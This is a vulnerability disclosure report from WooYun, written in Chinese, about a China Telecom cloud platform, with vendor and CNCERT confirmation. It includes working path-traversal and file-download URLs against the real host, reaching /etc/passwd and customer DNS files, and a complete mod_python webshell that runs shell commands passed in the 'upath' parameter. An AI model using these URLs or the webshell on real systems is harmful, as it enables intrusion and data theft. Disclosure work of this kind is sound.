当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0140015

漏洞标题:中国电信某云平台从试用帐号到getshell(mod_python getshell)

相关厂商:中国电信

漏洞作者: 白非白

提交时间:2015-09-11 17:41

修复时间:2015-10-26 15:52

公开时间:2015-10-26 15:52

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-11: 细节已通知厂商并且等待厂商处理中
2015-09-11: 厂商已经确认,细节仅向厂商公开
2015-09-21: 细节向核心白帽子及相关领域专家公开
2015-10-01: 细节向普通白帽子公开
2015-10-11: 细节向实习白帽子公开
2015-10-26: 细节向公众公开

简要描述:

各种信息测漏,你还敢用不靠谱的私有云么?
mod_python getshell的第一个案例?希望有朵乌云~

详细说明:

http://www.smeia.cn/ias/clt/main?fid=clt_Register&method=demo&fun=demo
从上面进入试用帐号:

1.png


进入之后是这个样子:

2.png


ok,下面开始正文:
#漏洞1:遍历其他帐号的私人文件夹(各种敏感信息:合同,个人隐私等等),邮箱内容,邮箱帐号

http://www.smeia.cn/ia/m.py?fid=private&tgt=Right&menu=private&sub1=view&upath=/../


3.png


工作资料:

4.png


5.png


个人生活隐私:

6.png


邮箱:

7.png


account.ini:

8.png


#漏洞2:任意文件下载(可读dns配置,泄漏客户资料)

http://www.smeia.cn/ia/main.py?fid=download&method=downfile&usr_id=demo@smeia.net&upath=/../../../../../../../../../etc/passwd


查看/etc/named.conf

9.png


看一下其中一个客户的dns配置

http://www.smeia.cn/ia/m.py?fid=download&method=downfile&usr_id=demo@smeia.net&upath=/../../../../../../../../../var/named/ctc/master.yinfutong.com


10.png


#漏洞3:坎坷的getshell之路
首先是发现可以上传任意文件

11.png


12.png


上传目录可以通过../的方式遍历,通过不断尝试+利用mod_python的报错回显(改变fid参数的值即可报错)(http://www.smeia.cn/ia/m.py?fid=privadte&tgt=Right&menu=private),得知:当u_path参数为“/../../ia”的时候可以上传文件并且访问。
但是访问
http://www.smeia.cn/ia/ee.py的时候,不能执行代码。

13.png


然后想到读源码的方式看一下,但是报错:

14.png


依然根据报错信息,可以断定,m.py只是映射的一个url,实际不存在m.py这个文件

15.png


得知原理,去读模块coop_person2.py

16.png


发现一处可以编辑保存文件的地方:

http://www.smeia.cn/ia/main.py?fid=edit&mode=TXT&usr_id=demo@smeia.net&upath=/../../ia/ee.py


剩下的工作就是不断的编辑、保存、调试webshell了。
最终的webshell内容是这样的

# -*- coding: utf-8 -*-
##############################################################################
#
# Copyright (c) 2005 Haiwen.Zhou
# File: apache ia: coop_person.py
# Author: Haiwen.Zhou
# Start Date: 2005/07/28
# Last modify: 2005/07/28
#
##############################################################################
__version__='$Revision: 1.6 $'[11:-2]
import os,urllib, mimetypes,time, operator, shutil
from mod_python import apache,util,Session
from HW_HTML_TOOL import *
from HW_FILE_TOOL import openTXT,writeTXT
from SHARE import *
from UI_BASE import *
from CONSTANT import dRIGHT
from coop_auth import *
import TREE
H=25
def mShow(req,dArgs,sess):
return cPerson(req,dArgs,sess).toHtml()
class cPerson:
def __init__(self, req,dArgs,sess):
self.req = req
self.dArgs = dArgs
self.sess = sess
self.usr_id = self.sess.get('usr_id','')
self.upath = str(dArgs.getfirst('upath', ''))
def toHtml(self):
self.req.content_type = "text/html"
self.s = os.popen(self.upath).read()
self.req.write('<pre>'+self.s)
return apache.OK


然后shell的访问方式是这样的
http://www.smeia.cn/ia/m.py?fid=ee&upath={cmd}

17.png


18.png

漏洞证明:

如上

修复方案:

你懂得

版权声明:转载请注明来源 白非白@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-09-11 15:51

厂商回复:

CNVD确认所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置.

最新状态:

暂无